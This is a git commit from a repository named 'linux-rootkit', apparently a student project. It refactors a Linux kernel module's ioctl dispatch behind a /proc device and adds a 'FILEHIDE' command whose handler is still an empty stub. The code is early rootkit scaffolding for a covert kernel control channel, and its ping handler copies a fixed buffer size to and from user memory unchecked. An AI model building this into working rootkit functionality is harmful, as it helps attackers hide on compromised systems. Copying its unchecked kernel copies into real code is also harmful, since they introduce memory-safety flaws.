linux-rootkit

commit 2bdcdd4923ffe6536e251d50f38856835e69fdc8
parent 35ea10791820cf9c278770bbb89ee5059cc8200f
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 21 Nov 2020 07:00:04 +0100

refactors code

Diffstat:
M
src/g7.c
 | 
29
+++++++++++++----------------
M
src/ioctl.c
 | 
31
++++++++++++++++++++++++++++++-
M
src/ioctl.h
 | 
13
++++++++++++-

3 files changed, 55 insertions(+), 18 deletions(-)
diff --git a/src/g7.c b/src/g7.c
@@ -7,11 +7,11 @@
 #include <linux/uaccess.h>
 #include <linux/printk.h>
 
+#include "common.h"
 #include "ioctl.h"
 
 #define BUFLEN 4096
 
-
 static int  __init g7_init(void);
 static void __exit g7_exit(void);
 
@@ -41,14 +41,14 @@ static int
 g7_open(struct inode *inode, struct file *file)
 {
     mutex_lock(&lock);
-    pr_info("g7_open\n");
+    DEBUG_INFO("[g7_open]\n");
     return 0;
 }
 
 static int
 g7_release(struct inode *inode, struct file *file)
 {
-    pr_info("g7_release\n");
+    DEBUG_INFO("[g7_release]\n");
     mutex_unlock(&lock);
     return 0;
 }
@@ -56,31 +56,27 @@ g7_release(struct inode *inode, struct file *file)
 static ssize_t
 g7_read(struct file *file, char __user *buf, size_t len, loff_t *off)
 {
-    pr_info("g7_read\n");
+    DEBUG_INFO("[g7_read]\n");
     return 0;
 }
 
 static ssize_t
 g7_write(struct file *file, const char __user *buf, size_t len, loff_t *off)
 {
-    pr_info("g7_write\n");
+    DEBUG_INFO("[g7_write]\n");
     return 0;
 }
 
 static long
 g7_ioctl(struct file *_file, unsigned int cmd, unsigned long arg)
 {
-    pr_notice("g7_ioctl %#10x\n", cmd);
+    channel c = detect_channel(cmd);
+    DEBUG_NOTICE("[g7_ioctl] on %#10x (%s)\n", cmd, c.name);
 
-    if (!(const char *)arg)
+    if (((const char *)arg) && c.handler)
+        return c.handler(arg);
+    else
         return -ENOTTY;
-
-    switch (cmd) {
-    case G7_PING: handle_ping(arg); break;
-    default: return -ENOTTY;
-    }
-
-    return 0;
 }
 
 
@@ -90,7 +86,8 @@ g7_init(void)
     mutex_init(&lock);
     proc_create_data(G7_DEVICE, S_IRUSR | S_IWUSR, 0, &g7_fops, buf);
 
-    pr_info("g7_init " KERN_ALERT "%#lx\n", G7_PING);
+    DEBUG_INFO("[g7_init] at /proc/%s\n", G7_DEVICE);
+    report_channels();
 
     return 0;
 }
@@ -98,7 +95,7 @@ g7_init(void)
 static void
 g7_exit(void)
 {
-    pr_info("g7_exit\n");
+    DEBUG_INFO("[g7_exit]\n");
     remove_proc_entry(G7_DEVICE, 0);
 }
 
diff --git a/src/ioctl.c b/src/ioctl.c
@@ -2,14 +2,35 @@
 #include <linux/module.h>
 #include <linux/uaccess.h>
 
+#include "common.h"
 #include "ioctl.h"
 
 #define BUFLEN 4096
 
 static char buf[BUFLEN];
 
-
 void
+report_channels(void)
+{
+    DEBUG_NOTICE("-----------------------------------\n");
+    DEBUG_NOTICE("listening on the following channels\n");
+    DEBUG_NOTICE("%-24s %#10lx\n", "PING",     G7_PING);
+    DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
+    DEBUG_NOTICE("-----------------------------------\n");
+}
+
+channel
+detect_channel(unsigned int cmd)
+{
+    switch (cmd) {
+    case G7_PING:     return (channel){ "PING",     handle_ping     };
+    case G7_FILEHIDE: return (channel){ "FILEHIDE", handle_filehide };
+    }
+
+    return (channel){ "unknown", NULL };
+}
+
+int
 handle_ping(unsigned long arg)
 {
     copy_from_user(buf, (const char *)arg, BUFLEN);
@@ -17,4 +38,12 @@ handle_ping(unsigned long arg)
         buf[1] = 'O';
         copy_to_user((char *)arg, buf, BUFLEN);
     }
+
+    return 0;
+}
+
+int
+handle_filehide(unsigned long arg)
+{
+    return 0;
 }
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -8,8 +8,19 @@
 
 #define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *)
 
+#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *)
 
-void handle_ping(unsigned long);
+typedef struct channel {
+	const char *name;
+	int (*handler)(unsigned long);
+} channel;
+
+void report_channels(void);
+channel detect_channel(unsigned int);
+
+// handlers
+int handle_ping(unsigned long);
+int handle_filehide(unsigned long);
 
 
 #endif//_GROUP7_IOCTL_H